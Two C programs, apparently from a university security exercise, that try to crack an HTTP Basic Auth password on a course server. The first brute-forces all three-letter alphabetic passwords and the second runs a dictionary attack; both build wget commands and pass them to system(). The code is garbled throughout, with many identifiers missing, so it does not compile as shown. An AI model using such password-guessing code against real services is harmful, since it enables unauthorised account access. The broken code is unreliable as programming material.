











#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }


#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>

#define MAX_SIZE 255


int CrackPasswd(FILE *fp)
{
   int i, cnt, flag;
   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];
   char fin;
   
   strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(string2," --http-user= --http-passwd='");
   strcpy(,"");

   while ((fin = fgetc(fp)) != EOF)
   {
      cnt = 0;
      
      for (i=0;i<MAX_SIZE;i++)
      {   
         passwd[i] = '\0';
         [i] = '\0';
      }
	 
      while(fin != '\n')
      {
	 passwd[cnt] = fin;
	 cnt++;
	 fin = fgetc(fp);
      } 
         
      if(strlen(passwd) <= 3)
      {
         strcat(, string1);
         strcat(, string2);
	 strcat(, passwd);
	 strcat(, "'");
	 printf("Sending Request as %s\n",);
	 flag = system();
	  
         if (flag == 0)
	 {
            printf("\nPassword is %s\n",passwd);
	    return 1;
	 }
         
	 strcpy(,""); 
         strcpy(passwd,"");
       }
    }
}  


int  (int argc, char *argv[])
{
   char *fname;
   FILE *fp;
   
   int , end;    
   
    = time();
    
   if (argc != 2)
   {
      fprintf(stdout,"Usage : ./Dictionary <dictionary>\n");
      return(EXIT_FAILURE);
   }
   
   fname = argv[1];
   
   if((fp = fopen(fname, "r")) == NULL)
   {
      fprintf(stderr,"Error : Failed  open %s for . \n",fname);
      return(EXIT_FAILURE);
   }
   
   CrackPasswd(fp);
  
   end = time(); 
   printf("Time Required = %lld msec\n",(end-)/());
   return (EXIT_SUCCESS);
  
}
     
	   
	  	
